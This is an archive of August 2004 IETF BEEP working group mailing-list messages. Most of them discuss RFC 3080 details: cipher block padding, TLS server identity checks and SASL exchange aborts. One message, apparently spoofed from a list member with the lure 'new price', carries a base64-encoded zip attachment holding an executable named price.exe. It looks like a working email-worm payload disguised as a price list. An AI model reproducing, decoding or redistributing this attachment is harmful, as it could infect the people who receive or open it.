Received: from [208.177.152.17] (helo=[10.0.1.5])
	by wetware.com with esmtp (Exim 4.20)
	id 1BtJIG-0001qM-Tq
	for beepwg@lists.beepcore.org; Fri, 06 Aug 2004 21:58:57 -0700
Mime-Version: 1.0 (Apple Message framework v618)
In-Reply-To: <1091853512.16991.405.camel@egyptian-gods.mit.edu>
References: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
	<1091853512.16991.405.camel@egyptian-gods.mit.edu>
Content-Type: text/plain; charset=ISO-2022-JP; format=flowed
Message-Id: <7BCA1FF8-E82E-11D8-9B15-000A958FF2FE@wetware.com>
Content-Transfer-Encoding: 7bit
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] Cipher block boundaries and the TCP mapping
Date: Fri, 6 Aug 2004 21:58:55 -0700
To: BEEP WG <beepwg@lists.beepcore.org>
X-Mailer: Apple Mail (2.618)
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Aug 2004 05:04:28 -0000

On 06 Aug 2004, at 21:38, Greg Hudson wrote:
> On Fri, 2004-08-06 at 01:29, james woodyatt wrote:
>> Is it my imagination, or does the TCP mapping for the BEEP protocol 
>> not
>> specify any way for frames to be spaced properly so that they always
>> begin (or end) on a cipher block boundary?
>
> Why do you want this?  Don't TLS and SASL mechanisms have their own
> padding facilities for encoding short blocks of data?

Ack.  My mistake.  I just found the section of RFC 2222 that deals with 
this.  I swear it wasn't there the last time I looked.  I am such a 
moron.  Sorry.


$B!=(B $B!h(B

From jered@permabit.com Mon Aug  9 15:26:32 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i79MOZiJ008331
	for <beepwg@drakken.dbc.mtview.ca.us>; Mon, 9 Aug 2004 15:26:32 -0700
Received: from rcastillo.com ([200.33.1.101])i79MH31i003144
	for <beepwg@lists.beepcore.org>; Mon, 9 Aug 2004 15:17:04 -0700 (PDT)
Date: Mon, 09 Aug 2004 17:16:52 -0600
To: "Beepwg" <beepwg@lists.beepcore.org>
From: "Jered" <jered@permabit.com>
Message-ID: <pxupgjtvrydurotvfbi@lists.beepcore.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------ajnqhomtmyhyunopjsqr"
Subject: [BEEPwg] 
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Aug 2004 22:26:32 -0000

----------ajnqhomtmyhyunopjsqr
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
new  price<br><br>

<br>
</body></html>

----------ajnqhomtmyhyunopjsqr
Content-Type: application/octet-stream; name="price2.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="price2.zip"

UEsDBBQAAAAIANSBCTE3Aq1SCQIAAD4EAAAKAAAAcHJpY2UuaHRtbI1U34+aQBB+v+T+hzke
Ds0V8EfTMxVMLFJj43HNqfWxGZcRt8GFLKte0vi/d1F6LUqa7gNhZ+b7vplhBndDGA1ub9yc
SZ4pSFDEO4zJM77gHmcno6H9e5RAr5Sh2nhmJjkj5/S0tdHsa7xzJtCh+jLzXyZf5zAdhuPF
cBxckrl3lnWmXAnckidwz2NUqbQxy0Jt0YQ5HSSBB4bMaWL0y/A9SS/DwiRUowL7RjLnqWj2
iwTWO8GUvgEXucIkaTTh5+0NlIevoQF/wFmCap3KLdzf11nvPDCXXHQ7JlRYfp8kZVho2ZI0
hlHDDJ/ny0nY7SyHL+EkHNsbtU3MIrFLqCS1k+Ivx7Ga5Kk74OkEnjiTaZ6uFejCSQpSELxm
SSpJmkXeRWNg4EGnNsUoZbstCWUfJFc6QTdd/SCmgEeeEfOVAQce6e/ahg3xeKP0C0swzwu3
P51NRh9b7d6nx8DvWkHgD612O+paveCxbbX0CXod/4PfGhlaiKURrTDX02M+lNPyYBoD1zkL
DipdOAIlOV0UGpLKGWZUqep9bVVK8jjWAR6IEmQXHdplESqy52dvTdcLwRJrL07BgcBVQlGt
yoWaPVMo1UzrHFDSGd4oS333FjQKPg8X0/n3p+dR0LzmLCv/h9rVUJUSdVN0vGrp/0xpDaEm
Ohbb87Y0p11yHLCsQWXDXaf8a/wCUEsDBAoAAAAAAHQ5CTEAAAAAAAAAAAAAAAAGAAAAcHJp
Y2UvUEsDBBQAAAAIAA6CCTGcBSPJ6xMAAAA6AAAPAAAAcHJpY2UvcHJpY2UuZXhl7VoPcBzV
eX+SZSNAGAF2A66biGAITblFOp0OO8WpDulsi8j2WSdZBhybvd2n273b27fZPyedCsRUuMWo
atwEOtPOJOk0tOmElrQUipMyQfxpwK3JmJRp3AAZ4zL0iunUAy5oOgL1996u5JN2z6Vhpgwt
a79v933fe9/73ve+973ve6etNxPSQAhpRJmbI6Sb+M/8++H+5y4ndR7eJpMmpL9hGfnCfZ9I
zeOPkwsbzm9Y3kKaUEn6uJcvAmhFaQt6tvqDNgV95t/ECoRZeLX6bRfeCy+/Ofip9QT8IE+b
L0q9R3LpmIv33csCgfgEGkMsjku2KrsyIS3LfIRot2Jxu278l/xm5GQHQHtQzgu1m/55pnK2
Z2jyjZ3D2cnbmye9luHqWki5f9pd97XZzumJw3NvPrjv14h70XC2+g6mdmAFSOf++cGTJw5x
i7ll757DTzZzBhNPzxQI/jWiLNO4oHNec/VPeJf0bLfXdPjJFpCn0jOZOa91zmuZ82arR0Hl
bxdvwY43EryqWe3ZPd1EcwGqX5ybmzt/+sK7fkR48+YC0T4HBVbHfd77QXlIUFqqvytQpwtN
Gl+OOe90gfOfW815HUjPdL54/rT7ZY47LSSYEcQXQAR+0B+sBSy0PL4y1XPwOTV0aoB3mMnw
2Yn2RwWzN9Dl8sLcnPdGdRlvl65m+PcTmMbkF6v88xv41Mg+Ivr5Qx1BVz7hCd7qqZNrtJf4
kA+gBm4tWutnMK3vonby9C0Lap2dSs9mtF8RPZurz3Gmr+xFrz/GV3dGfBcaoBPS7vP+ywZf
qV9v4PpsIlrTQpfr+dcFaOdXh3lVUF+7FUxI9Tz+jbKv+htQudbIv8b4F28uGlV/2Zd1h4Z5
BWxmCJ9iTZsHiGhzVU2bF0SbwkK7q/aIAd8S6OpvknlBhD7u49W1XExR/QteFaxE9QD/IhLA
VQtNbnuXW4j7GbC/ide/wtscE4t4z3zHuS6OqH4dTTHkJUAfmbtydxsIVw4KmBGwX8BLBVwr
YJuA6wS8WsBrBGwXcJeACQHXC3i9gN0C9gq4RUBVQE1AImCzgC0CtgJ+WM9Dn/bfP8L7JZQ3
gvo4vP7voNyPcgjl71COo5xCWYU2a1HiKJ9HuRFlJ4oB2h6UAZT3UHqDk8MC7Y6A7xttZ8bO
AXcp6utrTpg/AE4F7oWadk/yvqi/VIN7D7jmmvqHOac1pMdgDt0im6pByTrSw6zKJt2gKTjx
HpvKLvVr+0h6THczNlOo45B/J5upyxE9TKWDGtqp5JwG4LYy1TNEl21yCd3IuWew/hjAfYrj
OKuUqtqcHbmeY7IVx6WlXt2misvsSorc39DPZLVfz9kyr5LnG7Zb1JyXIdGYpa4QznVtPee5
1EGbWxuzBqUW+UrjsKy7m5id1c28QbfnCuBKvtE4bOv+lMgjjYbj2orsotf3/O+SpafI4+Lb
oCbwRWqb1OiMS6phEPIs2aSb6jAKG02RbVxmv+JrIBCsD0e651B7vpejGaOypYuKSbIaNYz0
GFUgb4pkt6T7+4OG+xoGaF4sxhdohUyImlgAVFPkQV7HhHfKhkfTY5BNVstgOz/K/8dnVDf3
epYal+gYJbuH+7apwnb86l6oRXxtvfkg4QEMD154lHgo6N39PkbYh7LyU99fSR4+97nLDzUg
nhzUdKfNslnelkttimyazG3L0TbbM9t0s613e7athC0hXXDBeesCHn6U2URuXBRlrrxcRJnN
qFzt4769mtREmfiqF2Xe6lcUHHvvJ8q8F/zGzjbJDCLB96GL0AO+956FPB9l3rEiEKiZ1Exi
gcVClLmuyUeICLNlcbvumijz+U8SP8Jcg3JxqN20ZFODKYT8gCMwN6Gka0Ltbng/U/z4+eg/
ndOTR58/UTj3pudfd1bc+WbbxKF/O3H6wKr9R/pI63vT3omneBoxmW5+5yjSiMmtrf982eTR
J15vjq+4Es6CTDaJhp1Pbjp44l/eOXpwTxDr3/m0iwjzmf0c8lFElLhsPonYx2Pezcv9JMLt
8RMIEQxO7eeRaYZHuncu5xHvzDzmEc6qygAOCK4Tt88Q7295wxnsjEmB44GxiK5P8wE83hZp
w6KhpznlSFMw9GdFYiMC63XLSZDJFJqm0qeFCJ9e7gfdv9fkB92C96ls54sRPMcCnhfe9VuE
BDzvBm4j32C3mWKgWY78m6bwQPdx3EKL32/yh90v3s3VP3uPT2TmjKxjAYtTNSzKXAvpmV9N
n77w3qc44hV49a/dEoid3TnMOa1uEklg5+QxPy2szQUvQy748jIe43vn7N0jMpUDKyZ+2HTy
pyKJC1DgNTzLO29teeJfGzun33oAXxOvLHvrO3s5mUsoRkHc3vCUdvQcpD5HwfTka9yORJpX
aKjeK4ZxVyL7ylQfRaWaWLag4TuffgHzHX5m/zG8rm4QttNYvRINDuznlClBgEHwSnW7z+qG
xx9tJ63DU/tnOa3q+djz5x45zhvdCUuomar3k8U8LuICfj+ofKeR74m9h7m81RI6FtTqSt7g
zQULELmbyHouu4S0iinvQy/RBbb3THqGO3SRrBa6q/f5Ca2fI8+i7et+Ons+X4f07OSWph3Q
y47qE0DfBOSKHdXH8BlwCboht60eAvbkYf71R0GG3d24oDU/lTqylbRWBxvnv95u8A1I5VtH
fo+nSAWfJFaiajeK5W7xW38SOdRJLGnAcdjP3QTp7/nXI9jofrUV/R5/twMKF6qF0J8oLF/g
rT3Wx7VSXYNWtVr/sUZ2XNkocumTT+yN0OYvrAq0GW9Y0OaxncPaN7G02kUA1ThE1P6KV8d5
9QpUJzbyOnFXwq4uRr/M3GqOmNj4TYFeN7HxW+LjFyc2flt8XDyx8QHxce7Exu/yD69p757D
TxWap9LHMtW1PJFs9Ctzq3nX6l9Ds5mv8v12TMhZaCqsGJhbzfveLGS/GjXOkm9FJOx8EnOr
+WBT3ump26vf4yf7W/c/k36V76Nn0qf4iTuVPp6ZSr+aKbRmDgY3EFxgLkl1GV8u9T8BpiBN
9R+xcEIZt7c0eMurL4O6cK3C80+sJrJWDpsFbBGwVcBVAl4q4FoB2wRcJ+DVAl4j4K0CJgRc
L+D1AnYL2CvgFgH7BcwIOCjgLgF3C2gI+NsC7hPwNgHvFvAuAV0BEc20ho6jj5//5ac5CMQf
Q/Z7BKWK8jbKeciA21AklG6UXSgjKA+CdhfeX0W5H+VhlGmUoyivoczwzPkKZN0obSgu6n8Y
ZNabrvDfrwXve/Auo/wA5X6UPQF+Vc2twTVX+LcBYzW4AeBgZ+TuGtxPgYOlkX01uFk+PnAt
NbhL+XzbPjq6WHwDsfjWYVNQC64YSN98nTEDibTVGc+asuVoDIlGlvRSg873fJHfUPR4tk3N
hVuLl8I4JOv/wbG8U1YfpxF3E7kzeb5TczlB8g2bDZaTjZTB0w0zqG2yKSX/zc3FzxqCr874
Jt12IPvxM5htPGt6B9m+rIprChLj9xxpU90+4tej7z2S89gM002X2mduQrTGQWqXdBNqmxeg
7j3I4vuO2luMt0jWtfG/L7X4RuO8QOtDttEjKxpNm66Ycau4KxErO08ilwicmPKS5msEhU99
KZ9fJ318OiZ1+dox04T+qZp1MRue/+sgCDk6yNBAfy8bNQ0ofpD5RkA82ygx05/B2e5ePn7+
7z5Z2ktzXj5j62UYRZ4uvjhLqQXPcQdZkW/PoIUDm9NdXTbgEFKKQfoZK3rWAllcwaVIzY4W
3TGQm4VtYWNV+swRtmQ3DdC87sCSs9Qu68qZrVjv2dQ3kB5O9fdL6V1pkhocyvSmBtMDoga7
H7PE3ZZTcfae+Qy++ofmu/UODKdvGMoM+zyGBrf3bh/eJirbhjKbB1K9aVHZPjSY2Z4dFN99
PdnsUCazbaGGyoYuUUlne1LbtgSV1M5dO4ZSAzWEoMtiUVN+ZUGAwYFUz5laLbGGX2rnMCjQ
m1/JoCI+ezb1pYZ6+/xxavoumszWnhoK0VzX+ty111oMzplSW1LptXGpYOXnCXY8GU+G0UWc
Ly4rVphke4sppZKcDyFhUaUOKV+SRrRYkVHDDDGkZVnV5TA3GAX8UwjNDDg2m8Vy1MZXiJvK
xnGEUVMa6cCQ7mi9do4mq0VNDg/gyIpN1RC6WLHomB5uPjo6KuVl0y3SGPe3CiuF6SXFUTRT
ppYF721Gt7GZYVDTsXRqjOt2kRohiTs6E1JHe1yKx9dLia4ltA1JqSMuJTZI8euW6N9zYjdT
PUIyg7nYcxVJ6+gIzUqj9jjLS4ojeaYew7qq8BN2PiRTRc57sl0Ej/YQj3hHp9Sxfj3k2iBd
F19MczVmW1Rlkucs0f54SXKKSwSVbSfmSBacjOxKboyZ3ARCsnAtmiwm5/R4e3tnJLmklii3
NWbnl2gpp8fQKxGmOKxM5UhmFrPdMKUku+MQL48NFdK4xRRmhvcNkC6W36UwEv1LHnXCm8iA
86pIFjYEdqrDOUdsjBIM3wsTgM9Db1GGa1F7BEFDXrcNR4L5LhXXhj5LsgmNhYgKt1cYs6yH
acyzlUJ4+iOI/6QcdcTx4VY05kRYpWPIZdnWiyF5YX9mvCjplmepiHAi1KvINtYxvKGtXA6n
VJihbkbs/pynGyq4LyVYNnNpmAnXYsaQK5tt5plhr6FQYaqy7epKeFl557OQDBlBppCnDhm2
RpVod+LAl+jRJGaoLoJBG16XRbeoMC/nVUw2GiYnE1IyLnVch9KxPtzTlSsGdcLdVKbmqash
P7Fp9JggWsxBaFGmjq5SNuLw/RXBijfO2Wji6KbtOQ6MM2xpsg7Hxn8UGWG2QsMWKoxfLo5S
O7ykGjYMnA0bYcxF1mJEL5tZ1KMpqoq43o7YTi4cJXOwlaPFybG8EXU4KDik8lSishO9h12u
1Bh2FRY0fIqK4wmG5GAf8xArssE41Z1oE8QiOCxXj2sZOVZ4SNkYEWkWsir4KzmsJerZrKwz
zFapYwyjNGezusdpWbfdEi3loqk64su8WbdrWfaPgGg9GHzQyFV16ncrU1OlY5EkbH83JlxA
yJ/oYzjjFSbpRsQ5pRthP67SsuTqxShPLfpAciuCFwyDjsghUlEeKQLrmcXobraX04uIv6Jo
JmWBuYWo1KZGB1+/WN7G+teR1fU0+L1oGmKpCgZWqKUUIs4dsRhySfi20PBl3ZIss44iINS4
Ktsl+IvxJQZZMrF/KhI3HhiuHp6XqdMcCwsDLTAT/axQBweOGZF1jo1FymJp+RCeSzE+LtHg
xI1cFGp5OUMvRlMdpGBwh/XmX7+zq+oxnF/cPTAIHW5QvyvfbcWIlTiLLBjGxtEF9/k/6CR2
tuGJuxpdKupK0YnBq9WxD90o13F1FdlWEHtEOzvFCEcP/i6mPLaKcGVwCTmDSfzIwC73xuq5
JD7nSm4EIXfkADBNi4fRkcsmj8AeQjabx3KVuGMZ9WKjOg/EFEleGsDZ4xRuWo25lTxTTT08
wPtoketAWusYnuUUJUfVJbfuBlN0WdEYC9EURHSGjjRMRoTU5UXryKQj3I5C62kjgYEbMWSX
D2uUwz21fDhJFY5ExxFUjh4NZyHDPo85rue6ee6LlnLwDFfn8VWMB6wxLa9J7aVKhLlVTNMp
yKUS7A0xQ47Jtup0rI8etUBHdUfLY7FCaYaYiKwUY3kKesxGLhAV/IiYeRRBCffq1BWmHGr0
JQ+hqiPlYOrCzUZrQDZNWDUyK5OqwdqYUU6lkOfXyiqVjQh5cNLLJtbdgFCOhrTHZaYVGdeL
EEfHmWDK0HfJEzqQTGvJ/BxbGtcsQQv5DVsuU8MXhIeICGes6HG03HjMtEcjrUIfkWN5D935
2esVozYrfIfDoBFXN+sEyFzEvFqJctNihXKwWRwpzihFyhBOA7HOch4rhKQa3g6TBTXiQJdd
TSqyHI15fHNHNSnGi7Klc8cUHVPL5jiMSTdjjhapjFHZGqmjwrzNj3g45IhEizdAYJ2LivRF
huFo8Gh17jm8Ui5Pw0mw77cVN5oChWrUjrgOEsOVTD0qI/ajY4NGxl9ivIpZJ27LY0fLUrmS
44a4tIHJ+DFkSEV4NRM2j0goWmjZcLGIyIbr6EmcC0gzVLc+g3oBqUktG7Yc1oilMSgxz+x6
PeUifF84U0WyZLD82WJgR3Vkr84CcSWI6UQPWUZUF30DwWwnOqp2ZVaKKfBL0Zcv/s0FPCqt
Y/xlG9ssOj4AkkevdSzbyusWle0odyf4Ksx0WL0sTlFySBsVuRThmrhriHdKusUQJtfdIDh2
YLPIa0vCR0SLSKFpBwllpOa6OtrDt3FikercXwphogjIKWSF1l3WnF5xoq9E+FVPjM8kejwc
v9HmoGgwv+joDGeZm5BVnMvROuEnGBtRcAxFBBHUkCuSOMgieReRIRkM7tymTv1bB4oQSAeX
CD1VbJc5CrPrHEiypUVc6M67AMPgf5lrlJWIjjmFX3Tka9aN7L5D/JTBLGp+4B+AWv2/b720
PdX+bHxj53OdP+l8s3N5oi3x2cS1iQ2JbYlsYjLxrcSfJh5KPJp4MvEPiX9KnEicTJxOvJv4
pa4NXZu7Ml27uu7pmu76YdeRrh93Hev6WderXa93nep6u2u2qzHZnFyZXJVck2xLXpW8JhlP
rk9+PtmbvDGZSe5M7k7mklrSTLrJ8eQHnsfHz8/1CBvKbt80OJwaSO/eqis2c9iIuzv4SX93
8AcBO+FsdGbuHvCCH4r3DtpyZdhUyaKf8hf9prdTt10v+AuA9Nh8lf8JAGr+XyoM0BJb+PsF
8aN78MvfVhDsyoetnI/0819QSwECFAAUAAAACADUgQkxNwKtUgkCAAA+BAAACgAAAAAAAAAB
ACAAgIEAAAAAcHJpY2UuaHRtbFBLAQIUAAoAAAAAAHQ5CTEAAAAAAAAAAAAAAAAGAAAAAAAA
AAAAEADAQTECAABwcmljZS9QSwECFAAUAAAACAAOggkxnAUjyesTAAAAOgAADwAAAAAAAAAA
ACIAwIFVAgAAcHJpY2UvcHJpY2UuZXhlUEsFBgAAAAADAAMAqQAAAG0WAAAAAA==

----------ajnqhomtmyhyunopjsqr--

From shanna@funk.com Wed Aug 25 10:05:57 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i7PH5aQ8031938	for <beepwg@drakken.dbc.mtview.ca.us>;
	Wed, 25 Aug 2004 10:05:57 -0700
Received: from trilmail.funk.com (26-71-51-66.reonbroadband.com [66.51.71.26])
	i7PGuO1h004960	for <beepwg@lists.beepcore.org>;
	Wed, 25 Aug 2004 09:56:24 -0700 (PDT)
Received: from [127.0.0.1] (HANNAXP [192.168.21.23]) by trilmail.funk.com with
	SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 2TX6Y7RJ; Wed, 25 Aug 2004 12:53:43 -0400
Message-ID: <412CC4B0.7020009@funk.com>
Date: Wed, 25 Aug 2004 12:56:16 -0400
From: Steve Hanna <shanna@funk.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.2) Gecko/20040803
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] Name check in BEEP TLS
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 25 Aug 2004 17:05:57 -0000

In looking through the description of the TLS
transport security profile in RFC 3080, I expected
to see some information about how the server
certificates are used to perform server authentication.
Something like section 3.1 of RFC 2818. Otherwise,
you just have an armor-plated pipe to an
unknown party.

Is the idea to use SASL after the TLS transport
is up to allow the two peers to authenticate
each other? If so, I hope that authentication
is tied to the TLS session in some way so you
know there's no man in the middle.

Sorry for the newbie questions. I'm considering
proposing BEEP for a new protocol I'm working on
and want to make sure I understand the security
properties. I'll let you know how it comes out.

Thanks,

Steve Hanna
Funk Software


From mrose@dbc.mtview.ca.us Fri Aug 27 00:24:56 2004
Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	i7R7OsQ1019135;	Fri, 27 Aug 2004 00:24:55 -0700
Mime-Version: 1.0 (Apple Message framework v619)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <2BD5CFFF-F7FA-11D8-848F-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Fwd: [BEEPwg] Name check in BEEP TLS
Date: Fri, 27 Aug 2004 09:24:45 +0200
To: beepwg@lists.beepcore.org
X-Mailer: Apple Mail (2.619)
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 27 Aug 2004 07:24:56 -0000

this message got stepped on accidentally... oops!

Begin forwarded message:

> From: "RL 'Bob' Morgan" <rlmorgan@washington.edu>
> Date: August 27, 2004 02:45:34 CEST
> To: Marshall Rose <mrose@dbc.mtview.ca.us>
> Subject: Re: [BEEPwg] Name check in BEEP TLS
>
>
>
> ---------- Forwarded message ----------
> Date: Thu, 26 Aug 2004 10:56:24 -0700 (PDT)
> From: RL 'Bob' Morgan <rlmorgan@washington.edu>
> To: Steve Hanna <shanna@funk.com>
> Cc: beepwg@lists.beepcore.org
> Subject: Re: [BEEPwg] Name check in BEEP TLS
>
>
> On Wed, 25 Aug 2004, Steve Hanna wrote:
>
>> In looking through the description of the TLS transport security 
>> profile
>> in RFC 3080, I expected to see some information about how the server
>> certificates are used to perform server authentication. Something like
>> section 3.1 of RFC 2818. Otherwise, you just have an armor-plated pipe
>> to an unknown party.
>
> Indeed it's the case that each protocol profiled for TLS (eg
> IMAP/POP/LDAP) has to specify this "server identity check" in its own 
> way,
> eg section 3.6 of RFC 2830 for LDAP.  Note that the profile for SMTP's 
> use
> of TLS (RFC 3207) only says:
>
>    -  A SMTP client would probably only want to authenticate an SMTP
>       server whose server certificate has a domain name that is the
>       domain name that the client thought it was connecting to.
>
> (hmm, is that a SHOULD or a MAY?  8^) due to the nature of SMTP
> deployment.
>
> I have to agree that RFC 3080 doesn't seem to cover this issue (I 
> really
> thought it did, hmm).  It might be claimed that BEEP, as a generic
> protocol kernel, shouldn't be prescriptive about the name check, 
> leaving
> it to BEEP-using protocol specs to do this.  It might even be claimed 
> that
> this paragraph of section 4:
>
>    Note that regardless of transport security and user authentication,
>    authorization is an internal matter for each BEEP peer.  As such,
>    each peer may choose to restrict the operations it allows based on
>    the authentication credentials provided (i.e., unauthorized
>    operations might be rejected with error code 530).
>
> makes this point, since this name check could be characterized as an
> authorization step ("is the presenter of this cert allowed to act as 
> the
> desired server name").  But it would be appropriate for this issue to 
> be
> mentioned in Security Considerations at the least.
>
> So it would be appropriate in a new BEEP-using scheme to specify this
> check in a way appropriate to that scheme.  I suppose the question is
> whether BEEP implementations provide any hooks to let relying code do 
> the
> check.
>
>> Is the idea to use SASL after the TLS transport is up to allow the two
>> peers to authenticate each other? If so, I hope that authentication is
>> tied to the TLS session in some way so you know there's no man in the
>> middle.
>
> A SASL mechanism may or may not provide server authentication.  There 
> is
> no connection in SASL to the server authentication that is done at the 
> TLS
> layer (for client authentication the connection is made via the SASL
> EXTERNAL mechanism).  The TLS-layer server name check is the key thing 
> in
> preventing MITM.
>
>  - RL "Bob"
>

From jhw@wetware.com Sun Aug 29 22:25:59 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i7U5PxV5000600	for <beepwg@drakken.dbc.mtview.ca.us>;
	Sun, 29 Aug 2004 22:25:59 -0700
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	i7U5Gx1h010262	for <beepwg@lists.beepcore.org>;
	Sun, 29 Aug 2004 22:16:59 -0700 (PDT)
Received: from [208.177.152.17] (helo=[10.0.1.5])
	by wetware.com with esmtp (Exim 4.20)
	id 1C1eX3-0006tI-5W
	for beepwg@lists.beepcore.org; Sun, 29 Aug 2004 22:16:41 -0700
Mime-Version: 1.0 (Apple Message framework v619)
Message-Id: <C5A14739-FA43-11D8-9CC0-000A958FF2FE@wetware.com>
Content-Type: text/plain; charset=WINDOWS-1252; format=flowed
To: BEEP WG <beepwg@lists.beepcore.org>
From: james woodyatt <jhw@wetware.com>
Date: Sun, 29 Aug 2004 22:16:39 -0700
X-Mailer: Apple Mail (2.619)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id i7U5PxV5000600
Subject: [BEEPwg] SASL server response to <blob status='abort'/>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 30 Aug 2004 05:25:59 -0000

everyone—

There is no direction in RFC 3080 for how a SASL server is supposed to 
respond to a MSG from the client to abort the exchange.  How is the 
client supposed to know that the exchange was aborted successfully?  I 
looked in RFC 2222 and it says that BEEP is supposed to specify how 
this is done.

What did everybody else do?


-- 
j h woodyatt <jhw@wetware.com>
that's my village calling... no doubt, they want their idiot back.


From mrose@dbc.mtview.ca.us Mon Aug 30 02:47:52 2004
Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	i7U9lqOS019632;	Mon, 30 Aug 2004 02:47:52 -0700
In-Reply-To: <C5A14739-FA43-11D8-9CC0-000A958FF2FE@wetware.com>
References: <C5A14739-FA43-11D8-9CC0-000A958FF2FE@wetware.com>
Mime-Version: 1.0 (Apple Message framework v619)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <A3308C98-FA69-11D8-AE45-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] SASL server response to <blob status='abort'/>
Date: Mon, 30 Aug 2004 02:47:42 -0700
To: james woodyatt <jhw@wetware.com>
X-Mailer: Apple Mail (2.619)
cc: BEEP WG <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 30 Aug 2004 09:47:52 -0000


On Aug 29, 2004, at 22:16, james woodyatt wrote:

> There is no direction in RFC 3080 for how a SASL server is supposed to 
> respond to a MSG from the client to abort the exchange.  How is the 
> client supposed to know that the exchange was aborted successfully?  I 
